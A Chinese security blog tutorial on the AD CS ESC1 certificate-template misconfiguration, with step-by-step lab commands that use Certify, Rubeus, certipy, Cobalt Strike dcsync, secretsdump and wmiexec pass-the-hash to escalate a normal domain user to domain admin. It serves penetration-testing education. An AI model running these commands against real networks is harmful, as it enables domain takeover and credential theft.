Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

ADCS攻击之证书模板配置错误 ESC1

内网渗透 Adminxe 1201℃ 0评论

漏洞配置

使用certtmpl.msc创建

右键复制工作站身份认证模板,做一些修改

利用条件

ESC1利用前提条件:

  • msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT 表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
  • PkiExtendedKeyUsage: Client Authentication 表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
  • Enrollment Rights: NT Authority\Authenticated Users 表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

创建模板ESC1开启ENROLLEE_SUPPLIES_SUBJECT:

将模板用于客户端身份验证(Client Authentication):

设置权限允许普通用户注册(Authenticated Users or Domain Users):

认证后的用户/域用户随便勾一个就行了

枚举证书漏洞

利用

域内:

#检测是否存在漏洞 

execute-assembly Certify.exe find /vulnerable 

报错!!

发现存在漏洞,为域管请求证书,转换格式,请求TGT,PTT:

# zhang 是一个普通域用户,用域用户去申请证书
# 在域用户或者system下执行
# CS的内存加载本地C#程序,无需落地:
# 在普通域用户下,获取证书,注意altname参数,这个需要填的是域管用户名。

execute-assembly \path\Certify.exe request /ca:【CA Name】 /template:VulnTemplate /altname:domadmin
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
execute-assembly \path\Rubeus.exe asktgt /user:<$adUserToImpersonate> /certificate:cert.pfx /ptt
====================================================================================
Certify.exe request /ca:adcs.attack.cn\attack-ADCS-CA -stdout /template:ESC1 /altname:administrator
直接通过证书获取TGT:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /ptt

Rubeus 通过证书获取TGT:

注:将生成的cert.pem先保存到txt,然后重命名为cert.pem

pem转换pfx证书,直接回车,不需要输入密码,申请TGT票据
#通过openssl转换证书
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
​
#将pfx证书转换为base64
cat cert.pfx | base64 -w 0
​
execute-assembly Rubeus.exe asktgt /user:administrator /certificate:base64 /aes256 /nowrap
​
Rubeus.exe asktgt /user:administrator /certificate:base64 /aes256 /nowrap
Rubeus.exe asktgt /user:Administrator /certificate:base64 /ptt
​
CS可直接执行:
beacon> dcsync attack.cn ATTACK\krbtgt
beacon> dcsync attack.cn ATTACK\Administrator
beacon> dcsync attack.cn 

域外

# 测试漏洞
certipy find -u zhang@attack.cn -p 321.com -dc-ip 192.168.11.11 -vulnerable -stdout

发现存在ESC1可利用的模板,为域管请求证书,转换格式,请求TGT,DCSync或者PTT:

target为ADCSIP
certipy req -u zhangsan@red.lab -p zs@123456 -target 192.168.149.135 -ca red-ADCS-CA -template ESC1 -upn administrator@red.lab
certipy auth -pfx administrator.pfx -dc-ip 192.168.149.133
secretsdump.py red.lab/administrator@192.168.149.133 -just-dc-user red/krbtgt -hashes :nthash
=============================================
# 实测template为创建模板的名字,ESC1只是为了文中表达,根据具体模板更改
certipy req -u 'zhang'@attack.cn -p '321.com' -target 192.168.11.12 -ca attack-adcs-Ca -template ESC1 -upn administrator@attack.cn

certipy auth -pfx administrator.pfx -dc-ip 192.168.11.11

secretsdump.py attack.cn/administrator@192.168.11.11 -just-dc-user ATTACK/krbtgt -hashes :nthash
secretsdump.py attack.cn/administrator@192.168.11.11 -hashes :161cff084477fe596a5db81874498a24

# 哈希传递
python3 .\wmiexec.py attack/administrator@192.168.11.11 -hashes :XXXXX

转载请注明:Adminxe's Blog » ADCS攻击之证书模板配置错误 ESC1

喜欢 (0)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址